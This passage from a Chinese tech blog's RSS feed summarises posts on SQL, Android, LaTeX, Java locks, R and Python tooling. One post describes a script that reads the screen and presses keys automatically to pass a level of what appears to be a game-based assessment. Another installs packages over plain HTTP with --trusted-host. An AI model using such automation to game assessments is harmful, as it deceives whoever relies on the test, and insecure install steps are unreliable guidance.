      <description> substr 从指定位开始截取字符串 SELECT SUBSTR(&#39;2022-05-04&#39;,2) #这里以年月日作为测试数据,SUBSTR(column, start_index),这种用法会从start_index位置开始截取字符串到最后一位,这里要注意,索引是从1开始而不是0 从指定位置开始截取，截取到指定的最后一位 SELECT SUBSTR(&#39;2022-05-04&#39;,1,4) #SUBSTR(column, start_index, length),这里start_index还是截取字符串的起始位置, length指的是从start_index位置开始截取的长度 3. 从字符串后面开始截取&#xA;SELECT SUBSTR(&#39;2022-05-04&#39;,-3,2) #如果指定从SUBSTR(column, start_index, length),如果start_index为负数就是从字符串的后面开始截取指定长度的字符串 regexp_replace&#xA;regexp_replace函数的作用就是根据指定的正则表达式替换字符串 SELECT REGEXP_REPLACE(&#39;2022-05-04&#39;,&#39;[0-9]&#39;,&#39;A&#39;) #REGEXP_REPLACE(column, regular_expression, replace_string),第一位就是要进行匹配的字符串,regular_expression就是正则表达式, replace_string就是用来替换的字符串 </description>
    </item>
    <item>
      <title>如何在安卓APP中添加分享按钮？</title>
      <link>https://bchobby.github.io/posts/9d8cc7a4b24f58dbbbee8266bda4db7b/</link>
      <pubDate>Tue, 03 May 2022 18:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d8cc7a4b24f58dbbbee8266bda4db7b/</guid>
      <description>最近想给一个APP添加分享屏幕截图的功能，就尝试找了一圈相关的Package，最后找倒是没找到，倒是在StackOverflow找到了一个解决方法。&#xA;布局及相关权限 AndroidManifest.xml权限添加 &amp;lt;!-- STORAGE PERMISSION FOR SCREEN SHOT--&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.ACCESS_NETWORK_STATE&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.MANAGE_EXTERNAL_STORAGE&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.READ_EXTERNAL_STORAGE&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.WRITE_EXTERNAL_STORAGE&#34; /&amp;gt; &amp;lt;uses-permission android:name=&#34;android.permission.REQUEST_INSTALL_PACKAGES&#34; /&amp;gt; 存储路径配置provider_paths.xml &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;paths&amp;gt; &amp;lt;external-path name=&#34;external_files&#34; path=&#34;.&#34;/&amp;gt; &amp;lt;/paths&amp;gt; 布局 ... &amp;lt;LinearLayout android:id=&#34;@+id/shared_preferences_container&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34; android:background=&#34;#7E03A9F4&#34;&amp;gt; &amp;lt;TextView android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:textAlignment=&#34;center&#34; android:layout_weight=&#34;10&#34; android:text=&#34;@string/share_info&#34;/&amp;gt; &amp;lt;Button android:id=&#34;@+id/share&#34; android:background=&#34;@drawable/ic_share&#34; android:layout_weight=&#34;1&#34; android:layout_width=&#34;32dp&#34; android:layout_height=&#34;32dp&#34; android:layout_marginRight=&#34;10dp&#34;/&amp;gt; &amp;lt;/LinearLayout&amp;gt; ... Code 主要引用 ... Button share = (Button) findViewById(R.id.share); share.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Bitmap bitmap = takeScreenshot(gameWeb); saveBitmap(bitmap); shareIt(GameActivity.</description>
    </item>
    <item>
      <title>光伏并网发电及低电压穿越技术</title>
      <link>https://bchobby.github.io/posts/f13ffec57f7d1ec863e46cfd2eb90c30/</link>
      <pubDate>Tue, 03 May 2022 11:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f13ffec57f7d1ec863e46cfd2eb90c30/</guid>
      <description>1、内容简介 随着工业社会的发展，科学技术的不断进步，人口的迅速增长，人们对能源的需求也不断增加，地球上的不可再生资源正在减少。此外，煤炭等化石燃料的大量使用己经对人类的生存环境造成严重危害，并导致生态恶化。此时全世界都开始关注可再生能源，希望通过可再生能源改变目前的能源结构，实现人类社会的可持续发展。太阳能作为储量无限、存在普遍、开发利用清洁以及经济性等优势，其开发利用将最终解决常规能源特别是化石能源带来的能源短缺、环境污染和温室效应等问题，符合人类社会可持续发展的理想绿色能源。&#xA;随着我国光伏设备装机容量在区域电网中所占的比重越来越高，光伏设备对电网安全稳定运行的影响日益显现。当电网故障或扰动引起发电场并网点的电压波动时，光伏发电设备的应对措施若不当，将加剧电网波动，甚至导致电网大面积瘫痪，带来无法估量的损失。因此，在大中型电站，必须能够实现低电压穿越，即保证光伏电站在电网故障期间保持不间断地并网运行。与此同时，针对不同情况，并网的要求与方式也会有所不同。这些都是大规模光伏并网发电需要进一步研究的课题。&#xA;传统上，电网更多的将光伏并网系统作为一个辅助电源甚至负荷考虑，当电网发生故障或其他特殊情况，造成并网点电压波动明显时，要求光伏系统立即停止对电网供电，以减小其对大电网的影响。然而，随着光伏发电渗透率的不断增加，其并入电网之后对当地配电网的影响越来越不容忽视，在电网发生故障时，大量光伏系统同时脱网，极易给主网造成冲击，使故障扩大化，影响向负载及时供电，延迟电网恢复时间。因此，在我国最新的并网标准中，对光伏电站的低电压穿越能力提出了要求，指出当电力系统事故或扰动引起光伏系统并网点电压跌落(Voltage dip 或 Voltage Sag)时，在一定的电压跌落范围和时间间隔内，光伏并网发电系统能够继续保持并网，必要时可以向电网注入一定的无功功率以抬升并网点电压，直至电网恢复正常。&#xA;因此，有必要研究电网发生故障，造成并网点电压跌落时光伏并网逆变器的低电压穿越技术，增强并网逆变器承受冲击的能力，通过补偿无功功率抬升并网点电压，帮助电网故障恢复，使光伏并网发电系统成为大电网的有力支撑，以实现分布式电源与大电网的协调控制[3]。&#xA;2、内容说明&#xA;3、仿真分析 4、参考论文&#xA;光伏并网发电系统的低电压穿越控制技术研究_陈晓婧.caj&#xA;光伏并网发电系统的低电压穿越控制策略_张明光.caj&#xA;光伏电池实用仿真模型及光伏发电系统仿真_焦阳.caj&#xA;光伏电池最大功率跟踪器的模糊控制及其应用_叶秋香.caj&#xA;单级式光伏并网发电零电压穿越技术研究_胡广.caj&#xA;基于模糊PID控制的光伏电池最大功率跟踪控制_梁奇峰.caj</description>
    </item>
    <item>
      <title>实时读取屏幕识别指定颜色</title>
      <link>https://bchobby.github.io/posts/c57a5a512b3748dc278eec20349d034a/</link>
      <pubDate>Tue, 03 May 2022 09:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c57a5a512b3748dc278eec20349d034a/</guid>
      <description>背景 在GBA测评中有一个关卡是解锁（如下图所示），需要在转盘到指定区间时按下空格键，后期会越来快，难度比较高，因此想要提出一种能够识别屏幕、当转盘到达指定区间时自动按空格的方法。&#xA;思路 首先想到的思路就是通过颜色来进行区分，明显看到当轮盘转到指定区间会出现一种不同的颜色。如果能够识别这种颜色大概的数量，当超过一定阈值时就可以认为处于正确状态（即轮盘转到指定位置）。具体流程如下：&#xA;截取正确状态下特殊的颜色，识别该特殊颜色。截取正确状态与错误状态图片，分别识别两种状态下该颜色的数量，计算得到一个特殊颜色数量的阈值，当大于该阈值时就认为处于正确状态。捕获屏幕中的当前图片。识别当前图片中特殊的数量，与阈值做比较，判断是否属于正确状态。 方法 cv2提供有方法可以进行指定颜色提取，参照这篇文章使用OpenCV和Python检测特定颜色，关键代码如下：&#xA;import cv2 # 读取图片 cv2img = cv2.imread(true_case_dir) # 格式转换 hsv = cv2.cvtColor(cv2img, cv2.COLOR_BGR2HSV) # 颜色区间选择 mask = cv2.inRange(hsv, lower_range, upper_range) # 通过按位与筛选得到指定颜色部分的图像 res = cv2.bitwise_and(cv2img, cv2img, mask=mask) ImageGrab提供有方法可以进行屏幕捕获，参照这篇文章用python进行屏幕截图，只用两行代码搞定，关键代码如下：&#xA;from PIL import ImageGrab img = ImageGrab.grab() pyautogui提供有方法可以进行模拟键入空格，关键代码如下&#xA;import pyautogui as pg pg.press(&#39;space&#39;) tips&#xA;使用屏幕截取的图像，颜色格式为RGB；cv2在读取图像时默认格式为BGR读入，参照这篇文章关于opencv读取图片时，颜色发生变化后，如何修改 结果 使用目标颜色进行遮罩，可以得到以下结果。&#xA;代码 from PIL import ImageGrab import pyautogui as pg import numpy as np import cv2 import time def get_color_range(target_color_dir): &#34;</description>
    </item>
    <item>
      <title>Latex论文表格画法</title>
      <link>https://bchobby.github.io/posts/172b4f64b1fcd0905420de9bc5628a8c/</link>
      <pubDate>Tue, 03 May 2022 09:26:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/172b4f64b1fcd0905420de9bc5628a8c/</guid>
      <description>参考 Latex论文表格画法 - 云+社区 - 腾讯云&#xA;1、基本表格画法&#xA;\begin{table}[htbp] 表示表格的开始。中括号中的 htbp 表示的是表格的浮动格式。当然这个基本参数不仅仅只是对表格有用。需要注意的是，一般使用 [htb] 这样的组合，这样组合的意思就是Latex会尽量满足排在前面的浮动格式，就是 h-t-b 这个顺序，让排版的效果尽量好。&#xA;[h] 表示将表格放在当前位置。&#xA;[t] 表示将表格放置在页面的顶部。&#xA;[b] 表示将表格放置在页面的底部。&#xA;[p] 将表格放置在一只允许有浮动对象的页面上。&#xA;\caption{my table} 表示表格的标题，该设置可以放在 \begin{tabular} \end{tabular} 环境的前后，使得表格的标题显示在表格的上面或下面。\label{table1} 表示表格名字，用于正文中引用表格。&#xA;若要插入跨栏图表, 可以用浮动环境 table* 。\begin{table}[htbp] 变成 \begin{table*}[htbp] ，\end{table} 变成 \end{table*} 。&#xA;\begin{tabular}[位置]{列} 和 \begin{tabular*}{宽度}[位置]{列} 设置表格环境参数格式。&#xA;\begin{tabular}{|c|c|c|} 。一个 c 表示有一列，格式为居中显示，这是列必选参数。通过添加 | 来表示是否需要绘制竖线。|| 表示画二条紧相邻的竖直线。&#xA;l 表示该列左对齐。&#xA;c 表示该列居中对齐。&#xA;r 表示该列右对齐。&#xA;如果只需要某几列的宽度发生改变，可以使用 p{宽度} （以 cm 为单位或以 pt 为单位或 0.2\textwidth）来代替 c 参数，但是表格中的文字是默认左对齐的。因此此时可以添加 p{宽度}&amp;lt;{\centering} 来改变文本对齐方式，但此时需要添加包 \usepackage{array} 。在这里 \centering 参数可以被 \raggedleft 和 \raggedright 替换，分别表示为左对齐和右对齐。</description>
    </item>
    <item>
      <title>详解 —— 常见锁策略及ABA问题</title>
      <link>https://bchobby.github.io/posts/934b1145dfecb345d5b078f5cc3dddc1/</link>
      <pubDate>Mon, 02 May 2022 22:30:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/934b1145dfecb345d5b078f5cc3dddc1/</guid>
      <description>目录&#xA;一、常见锁策略&#xA;1、悲观锁VS乐观锁&#xA;2、读写锁VS普通互斥锁&#xA;3、重量级锁VS轻量级锁&#xA;4.挂起等待锁VS自旋锁&#xA;5、公平锁VS非公平锁 6、可重入锁VS不可重入锁&#xA;小结 二、CAS&#xA;1、CAS的作用&#xA;2、ABA问题 三、synchronized的锁优化机制&#xA;1.锁膨胀/锁升级&#xA;2、锁粗化 3、锁消除 一、常见锁策略 一般来说，锁策略和普通的程序员基本没啥关系，跟实现锁的人有紧密的联系。这里提到的锁策略也不是局限于Java这门语言的，是适用于所有跟锁相关的情况的。&#xA;1、悲观锁VS乐观锁 悲观锁：预期锁冲突的概率很高&#xA;乐观锁：预期锁冲突的概率很低&#xA;悲观锁需要做的事情更多，那么效率也越低。乐观锁则刚好相反，做的事更少，效率更高&#xA;2、读写锁VS普通互斥锁 普通互斥锁：只有两个操作，加锁和解锁；只要两个线程针对同一个对象加锁，就会产生互斥。&#xA;读写锁：分成了三个操作：加读锁，加写锁，解锁；其中读锁和读锁之间是不会产生互斥关系的，而读锁和写锁以及写锁和写锁之间才会产生互斥关系。&#xA;3、重量级锁VS轻量级锁 重量级锁和轻量级锁的概念跟悲观乐观锁是有一定的重叠的，我们可以这样认为：乐观悲观锁是看待问题的态度，而这个态度决定的结果是重量级和轻量级锁。&#xA;重量级锁就是做了更多的东西，开销更大&#xA;轻量级锁做的事更少，开销更少&#xA;一般悲观锁都是重量级锁，乐观锁一般都是轻量级锁（当然这也不是绝对的）&#xA;在使用的锁当中，如果该锁是基于内核的一些功能来实现的，此时一般认为该锁是重量级锁；如果该锁是纯用户态（用户态代码更可控，也更高效）实现的，一般认为这把锁是轻量级锁。 4.挂起等待锁VS自旋锁 挂起等待锁往往是通过内核的一些机制来实现的，一般都比较重（重量级锁的典型实现）；而自旋锁往往是通过用户态代码来实现的，一般较轻（轻量级锁的经典实现）。&#xA;5、公平锁VS非公平锁 公平锁：遵循先来后到的原则&#xA;非公平锁：不讲究先来后到，不管是不是先来的，获取这把锁的概率是相同的&#xA;6、可重入锁VS不可重入锁 同一个线程针对同一把锁连续加锁两次，如果不会造成死锁的就是可重入锁；反之就是不可重入锁。&#xA;小结 以synchronized来举例：&#xA;1.既是一个乐观锁也是一个悲观锁（根据锁冲突的激烈程度自适应）&#xA;2.不是读写锁，只是一个普通的互斥锁&#xA;3.既是重量级锁也是轻量级锁（同1）&#xA;4.轻量级的部分基于自旋锁，重量级部分基于挂起等待锁&#xA;5.是非公平锁&#xA;6.是可重入锁&#xA;二、CAS CAS是compre and swap的缩写，我们假设内从中的原数据V，旧的预期值A，需要修改的值B：&#xA;1.比较A与V是否相同&#xA;2.如果相同则将B写入V&#xA;3.返回操作是否成功&#xA;此处的CAS是CPU提供的一条指令，通过这一条指令（原子操作）就完成了上述的三个步骤。&#xA;1、CAS的作用 1.基于CAS可以实现一些原子类：Java标准库中提供了一组原子类，针对常用的例如：int、long....进行了封装，可以基于CAS进行修改，并且线程安全&#xA;2.基于CAS实现自旋锁&#xA;2、ABA问题 CAS中的关键就是先比较再交换。这里的比较其实是在比较当前值和旧值是否相同。如果这两个值相同就会认为中间并没有发生过变化。但是这里其实是有bug的，当前值和旧值相同，可能中间并没有发生变化，但还有一种极端情况就是中间变过，然后又变回来了。&#xA;举个例子：&#xA;假设滑稽去取款机取钱，账户上有100，滑稽想要取出50.但是当他按下取款按钮时取款机卡了一下，于是他又按了一下取款（一次取钱操作执行了两次，我们预期的效果是取走50还剩50），下面我们来分析一下执行的过程：&#xA;1. t1线程将账户余额读取至寄存器与原值100比较&#xA;2. t1发现原值与账户余额相等&#xA;3. 执行CAS操作将账户余额修改为50，返回取款成功&#xA;4. t2线程将账户余额读取至寄存器与原值100比较</description>
    </item>
    <item>
      <title>系统发育树操作神器-TreeTools-持续更新</title>
      <link>https://bchobby.github.io/posts/62aa20233f910f6a53afa1c16bdfc0ee/</link>
      <pubDate>Mon, 02 May 2022 21:42:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62aa20233f910f6a53afa1c16bdfc0ee/</guid>
      <description>文章目录 TreeTools能做什么安装常用功能对系统发育树指定根查看是否是root tree按照叶子名称指定root按照Node名称root将root tree保存取消root 按照tip label或者node删除某些树枝转换成newick文本格式 TreeTools全部函数 系统发育树是生物学最常涉及到的内容，有多种软件（MEGA、iQtree、raxML等）以及多种算法（贝叶斯、最大似然法、邻接法等）生成多种格式（newick、nexus、phylip）的系统发育树。我们常常通过iTOL、ggtree进行可视化或者其他操作，这里介绍一个可以批量对树进行编辑、删除操作的R包-TreeTools。 TreeTools能做什么 TreeTools &#34;是一个R软件包，它提供了用于创建、修改和分析系统发育树等多种功能。&#xA;主要功能包括：生成具有指定形状的树；分析树的形状；树的根系和提取子树；计算和描述节点支持度；计算祖先-后裔关系；从Newick、Nexus和TNT格式导入和导出树；以及分析进化树分块和clade信息。&#xA;它是对’ape’、&#39;phangorn’和’phytools’等软件包的补充，旨在实现高效和稳健的功能，通常应用于非加权树（即那些没有边长的树）。&#xA;安装 从CRAN安装并载入包 install.packages(&#39;TreeTools&#39;) library(&#39;TreeTools&#39;) 或可从最新的github下载最新版 if(!require(devtools)) install.packages(&#34;devtools&#34;) # 借助devtools从github安装最新版包 devtools::install_github(&#39;ms609/TreeTools&#39;) 常用功能 对系统发育树指定根 RootTree()：按照指定叶子（tips）root&#xA;RootOnNode()：按照内部节点（node）root&#xA;UnrootTree()：可以折叠一个根节点，而不会出现在预排序的树上使用 ape::unroot() 时遇到的未定义行为&#xA;首先需要说明一下什么是tips和node，如下图所示，tips是指的是每个参与建树的最小元素（t1-t8），是树的叶子；node则是指按照树的结构，一个node下有包含多个叶子或者子node(9-15)。&#xA;library(&#39;ape&#39;) library(&#39;TreeTools&#39;) tree &amp;lt;- PectinateTree(8) # 生成梳状的t1-t8叶子的树 tree plot(tree) # 绘制树 ape::nodelabels() # 添加node lables 因此，在root的时候可以按照这两种方式来指定。&#xA;查看是否是root tree TreeIsRooted(tree) [1] TRUE 按照叶子名称指定root 使用RootTree，&#xA;plot(RootTree(tree, outgroupTips = &#39;t8&#39;)) # t8 单个物种作为外支 plot(RootTree(tree, outgroupTips = c(&#39;t7&#39;, &#39;t8&#39;))) # t7、t8两个物种作为外支 plot(RootTree(tree, outgroupTips = c(&#39;t1&#39;, &#39;t5&#39;, &#39;t8&#39;))) # t1、t5、t8 三个物种作为外支，注意由于这3个tips在原来的树结构中就是外侧，因此指定root后也不会变 按照Node名称root 指定t7、t8的祖先节点15作为root，并且不解析根节点，也就是说t8和t7不在合并在一起作为一支。</description>
    </item>
    <item>
      <title>jupyter 无法定位程序输入点 Anacond\libary\bin\pythoncom37.dll（安装jupyter过程中报错）</title>
      <link>https://bchobby.github.io/posts/29ced2b8adaea2f244a64caed193f9f6/</link>
      <pubDate>Mon, 02 May 2022 00:12:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29ced2b8adaea2f244a64caed193f9f6/</guid>
      <description>先说起始原因&#xA;在安装完pytorch，后再pytorch中进行安装jupyter过程中进行报错&#xA;首先说安装&#xA;打开 anaconda prompt&#xA;进入pytorch环境&#xA;activate pytorch 输入以下代码&#xA;conda install nb_conda 然后安装过程中就报错&#xA;解决办法&#xA;定位出错文件位置&#xA;将pythoncom37.dll文件删除（直接删除，就到回收站，记得别动）&#xA;关闭上边窗口，再重新打开，然后在执行上边的安装&#xA;还会报错&#xA;再去回收站将文件还原&#xA;在安装&#xA;安装成功&#xA;然后输入&#xA;jupyter notebook 竟然还报错&#xA;没关系，我们直接点击确定&#xA;会发现浏览器直接跳出来&#xA;安装成功&#xA;虽然还有问题还存在，但是能使用。&#xA;如果以后不能使用了，再来更新。</description>
    </item>
    <item>
      <title>单细胞测序数据整合（Seurat V4.0） vignettes</title>
      <link>https://bchobby.github.io/posts/6044509814fa1a384734d723f0fcd9bc/</link>
      <pubDate>Sun, 01 May 2022 22:54:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6044509814fa1a384734d723f0fcd9bc/</guid>
      <description>Introduction to scRNA-seq integration • Seurathttps://satijalab.org/seurat/articles/integration_introduction.html&#xA;Introduction to scRNA-seq integration Compiled: January 11, 2022&#xA;Source: vignettes/integration_introduction.Rmd&#xA;基于R seurat v4.0的内置整合数据方法的R包进行的翻译学习 scRNA-seq整合简介 单细胞数据大量产出使得联合分析两个或多个单细胞数据集成为了独特的挑战。特别是在标准工作流下，识别存在于多个数据集中的细胞群可能会有问题。Seurat v4包含一组方法来匹配（或“对齐”）跨数据集的共享细胞群。这些方法首先识别处于匹配生物状态的跨数据集细胞对（“锚定”），既可用于校正数据集之间的技术差异（即批效应校正），也可用于对跨实验条件进行比较性scRNA序列分析。&#xA;ps：&#xA;锚定：选择相对保守的细胞群，计算样本间的差异成为迁移标准，继而将之用于校正数据集的差异。&#xA;下面，我们展示了Stuart*、Butler*等人2019年所述的scRNA-seq整合方法，以对静息状态或干扰素刺激状态下的人类免疫细胞（PBMC）进行比较分析。&#xA;整合目标 以下教程旨在向您概述使用Seurat整合程序可能对复杂细胞类型进行的比较分析。在这里，我们讨论几个关键目标：&#xA;构建“整合”数据以进行下游分析确定两个数据集中存在的细胞类型获得在对照细胞和干预细胞中都保守存在的细胞类型标记比较数据集，以找出基于特定细胞类型对刺激所产生的特异性反应 设置Seurat对象 为了方便起见，我们使用SeuratData包的ifnb数据集。&#xA;library(Seurat) library(SeuratData) library(patchwork) # install dataset InstallData(&#34;ifnb&#34;) # load dataset LoadData(&#34;ifnb&#34;) # split the dataset into a list of two seurat objects (stim and CTRL) ifnb.list &amp;lt;- SplitObject(ifnb, split.by = &#34;stim&#34;) # normalize and identify variable features for each dataset independently ifnb.</description>
    </item>
    <item>
      <title>哈夫曼树以及哈夫曼算法</title>
      <link>https://bchobby.github.io/posts/13b525349377a49444dde7006cb8507c/</link>
      <pubDate>Sun, 01 May 2022 19:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13b525349377a49444dde7006cb8507c/</guid>
      <description>目录&#xA;一、哈夫曼树的定义&#xA;二、哈夫曼树的特点&#xA;三、哈夫曼算法(构造哈夫曼树的方法)&#xA;四、哈夫曼树的构造过程&#xA;五、哈夫曼树构造算法的实现&#xA;一、哈夫曼树的定义 1、哈夫曼树:最优树即带权路径长度(WPL)最短的树&#xA;“带权路径长度最短”是在&#34;度相同”的树中比较而得的结果，因此有最优二叉树、最优三叉树之称等等。&#xA;2、哈夫曼树:最优二叉树即带权路径长度(WPL)最短的二叉树&#xA;因为构造这种树的算法是由哈夫曼教授于1952年提出的，所以被称为哈夫曼树，相应的算法称为哈夫曼算法。&#xA;二、哈夫曼树的特点 1、满二叉树不一定是哈夫曼树&#xA;2、哈夫曼树中权越大的叶子离根越近&#xA;3、具有相同带权结点的哈夫曼树不唯一&#xA;三、哈夫曼算法(构造哈夫曼树的方法) 1、算法步骤&#xA;(1)根据n个给定的权值{W1, W2,...,Wn}构成n棵二叉树的森林,F={T1, T2,...,Tn},其中Ti只有一个带权为Wi的根结点。&#xA;构造森林全是根&#xA;(2)在F中选取两棵根结点的权值最小的树作为左右子树，构造一棵新的二叉树，且设置新的二又树的根结点的权值为其左右子树上根结点的权值之和。&#xA;选用两小造新树&#xA;(3)在F中删除这两棵树，同时将新得到的二叉树加入森林中，&#xA;删除两小添新人&#xA;(4)重复(2)和(3),直到森林中只有一棵树为止，这棵树即为哈夫曼树。&#xA;重复2、3剩单根&#xA;2、哈夫曼算法口诀：①构造森林全是根;②选用两小造新树;③删除两小添新人;④重复2、3剩单根。&#xA;四、哈夫曼树的构造过程 如下图所示&#xA;由上图的过程可得出以下三个结论：&#xA;①包含n棵树的森林要经过n-1次合并才能形成哈夫曼树，共产生n-1 个新结点。&#xA;②包含n个叶子结点的哈夫曼树中共有2n- 1个结点。&#xA;③经过n-1次合并产生n-1个新结点，且这n-1个新结点都是具有两个孩子的分支结点。&#xA;④哈夫曼树的结点的度数为0或2，没有度为1的结点。&#xA;五、哈夫曼树构造算法的实现 1、顺序存储结构的节点类型以及存储结构图如下图所示&#xA;2、算法思路&#xA;3、算法描述&#xA;void CreatHuffmanTree (HuffmanTree HT, int n){ //构造哈夫曼树——哈夫曼算法 if(n&amp;lt;= 1) return; m=2*n-1; //数组共2n-1个元素 HT= new HTNode[m+1]; //0号单元未用，HT[m]表示根结点 for(i=1;i&amp;lt;=m;++i){ //将2n-1个元素的lch、 rch、 parent置为0 HT[i].lch=0; HT[i].rch=0; HT[i].parent=0; } for(i=1;i&amp;lt;=n;++i) cin&amp;gt;&amp;gt;HT[i].weight; //输入前n个元素的weight值 //初始化结束，下面开始建立哈夫曼树 for(i=n+1;i&amp;lt;=m;i++){//合并产生n-1个结点——构造Huffman树 Select(HT, i-1, s1, s2); //在HT[k](1≤k≤i-1)中选择两个其双亲域为0， //且权值最小的结点并返回它们在HT中的序号s1和s2 HT[s1].</description>
    </item>
    <item>
      <title>超分之DRCN</title>
      <link>https://bchobby.github.io/posts/da0459a6247307a97b41ee1d9f0d72ec/</link>
      <pubDate>Sun, 01 May 2022 13:47:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da0459a6247307a97b41ee1d9f0d72ec/</guid>
      <description>这篇文章是2016年的CVPR，虽然目前来说在性能和计算效率上并不佳，但是在当时来说是一种通过较少模型参数加深网络来提升SR表现力的新方法——Deeply-Recursive Convolutional Network(DRCN)。不同于通过增加卷积层数来加深模型，DRCN通过一个递归子模块在共享模型参数下加深网络(类似于循环神经网络RNN)，从而可以提取到更多不同层级的用于重建高分辨率图像的特征。&#xA;参考文档：&#xA;①文章转载于博主暖风的一篇文章——超分算法DRCN。&#xA;Deeply-Recursive Convolutional Network for Image Super-Resolution Abstract1 Introduction2 Related Work3 Proposed Method3.1 Basic Model3.2 Advanced Model3.3 Training 4 Experiments4.1 Datasets4.2 Training Setup4.3 Study of Deep Recursions4.4 Comparisons with SOTA Methods 5 Conclusion Abstract 作者采用递归的方式来增加超分网络的深度，该结构不仅带来了深度优势来增加表现力，而且由于共享参数来较少计算复杂度和存储资源。作者指出本文提出的DRCN实现了较深的网络，实现了16个递归块。但是类似于RNN，这种递归结构天然存在梯度消失或者梯度爆炸问题，故作者又引入了递归监督、skip connection来缓解递归结构难以训练的问题。DRCN就是一种基于递归结构，使用递归监督和跳跃连接的SISR深度网络模型，其在Set4、Set14、B100、Urban100上较之前的算法拥有更好的表现能力。 1 Introduction 发现问题：&#xA;超分就是恢复图像细节的过程，而这些细节的推断很大程度取决于网络的感受野大小，较大的感受野拥有更多的信息，可以被用来重建图像。而感受野的增加往往取决于网络的深度，为了增加深度，一般的做法是堆叠卷积层或者块(residual block、dense block等)，但是这种做法会增加网络的模型量，而且在有限的数据集下很难训练出较高表现力的网络参数。&#xA;Note：&#xA;在超分中，一般不使用池化层，因为池化会丢失图像信息，而细节对于图像重建是至关重要的。 解决办法：&#xA;DRCN为了增加感受野，也是朝着增加网络深度方向走的。具体而言，为了增加感受野同时避免较大的模型参数，作者提出了一个递归结构，类似于RNN中的细胞，该递归结构重复使用同一套参数来不断提取特征信息，作者指出DRCN的感受野可以达到 41 × 41 41\times 41 41×41，比SRCNN的 13 × 13 13\times 13 13×13要高出3倍还要多！但是递归结构会存在梯度爆炸或梯度消失现象，因此光一个递归结构还不足以实现一个高表现力的超分网络，故作者在递归子网络的基础上，增加了递归监督和跳跃连接来缓解这一现象。&#xA;Note：&#xA;Skip connection除了缓解梯度消失爆炸问题以外，还可以进行多特征信息的跨层融合以及迫使网络学习残差结构部分的信息。 小结一下：&#xA;DRCN的核心就是通过递归结构来加深网络，提取更多层次的特征信息；用递归监督和跳跃连接缓解梯度爆炸或梯度消失问题。&#xA;2 Related Work 略</description>
    </item>
    <item>
      <title>PyQt5 环境搭建，并写一个模型转换工具，并导出为exe格式</title>
      <link>https://bchobby.github.io/posts/39c3d225356a104bc873d16454c39cbf/</link>
      <pubDate>Sun, 01 May 2022 11:28:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39c3d225356a104bc873d16454c39cbf/</guid>
      <description>一，环境配置&#xA;1.安装pyqt&#xA;注：基于python3.8.5&#xA;pip install PyQt5&#xA;pip install PyQt5-tools&#xA;2.wheel下载&#xA;存在没有安装wheel的情况，所以先安装wheel。同上一步，打开命令提示符，键入pip install wheel，即可自动下载wheel。&#xA;3.Pyinstaller下载&#xA;同上一步，打开命令提示符，键入pip install https://github.com/pyinstaller/pyinstaller/archive/develop.tar.gz（这里不建议使用pip install pyinstaller指令，因为就算成功安装，打包也会出现错误），耐心等待安装完成&#xA;4.pip install auto-py-to-exe&#xA;解决Connection to pypi.org timed out问题 pip install 想要下载的库名 -i http://pypi.douban.com/simple --trusted-host pypi.douban.com&#xA;5.pycharm配置qtdesigner&#xA;6.编写pyqt.ui&#xA;7.用PyUIC转换为py代码&#xA;8.编写槽函数，实现功能&#xA;9.使用auto-py-to-exe打成exe格式</description>
    </item>
    <item>
      <title>（一）Eclipse学习总结</title>
      <link>https://bchobby.github.io/posts/c0ebc006188beab6ed1ee64c1062ad82/</link>
      <pubDate>Sat, 30 Apr 2022 16:17:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0ebc006188beab6ed1ee64c1062ad82/</guid>
      <description>一、Eclipse版本问题 1、Eclipse IDE for Java EE Developers 该版本集成了Java ee开发常用插件，方便动态web网站开发。适合Java web开发者使用。集成了XML编辑器、数据库查看工具，提供jsp可视化编辑器。&#xA;2、Eclipse IDE for Java Developers 该版本适合Java开发者，集成CVS、Git、XML编辑器、Mylyn、Maven integration和WindowBuilder等插件&#xA;3、Eclipse-JDK&#xA;---Eclipse-JDK 就是JDK包，只是加了一个前缀，里面包含众多的java基础库，支撑java运行&#xA;---Eclipse-java 普通的eclipse编辑工具，一个编辑器，方便开发&#xA;---Eclipse-jee，在普通eclipse编辑器基础上进行了集成和强化，能够方便开发J2EE类型的项目。&#xA;二、配置问题 1、查看jdk包&#xA;Window---&amp;gt;Java---&amp;gt;Installed JREs&#xA;、&#xA;三、java的几种工程 普通工程---&amp;gt;动态web工程---&amp;gt;maven普通工程---&amp;gt;聚合工程&#xA;1、普通工程&#xA;包的平铺与继承&#xA;eclipse 智能提示&#xA;智能填充，需要写入main函数，直接输入main即可显示其他内容 从外部复制包到lib文件夹后，需要将包加入到项目中，右键----build path --- add to build path&#xA;多出了reference library 外部参考库&#xA;src 与resource： 一般src中存放java代码，resource中存放配置文件&#xA;2、配置Tomcat&#xA;（1）下载appache-tomccat包&#xA;（2）eclipse中服务器环境设置&#xA;（3）选择与下载对应的版本，下载Tomcat解压，选择压缩包中bin的上一级&#xA;（4）所有项目应该发布到Tomcat解压文件夹（也即为上面导入的路径）的webapps文件下，需要在eclipse中找到修改的窗口&#xA;3、动态Web工程&#xA;不同编辑器下面默认生成的文件不同&#xA;eclipse：webcontent&#xA;myeclipse:webroot&#xA;idea:webapp&#xA;4、maven工程&#xA;（1）更改jdk的版本&#xA;项目上面右键----build path----configure build path----删去以前的版本&#xA;Add library---JRE System Library---next---execution environment</description>
    </item>
    <item>
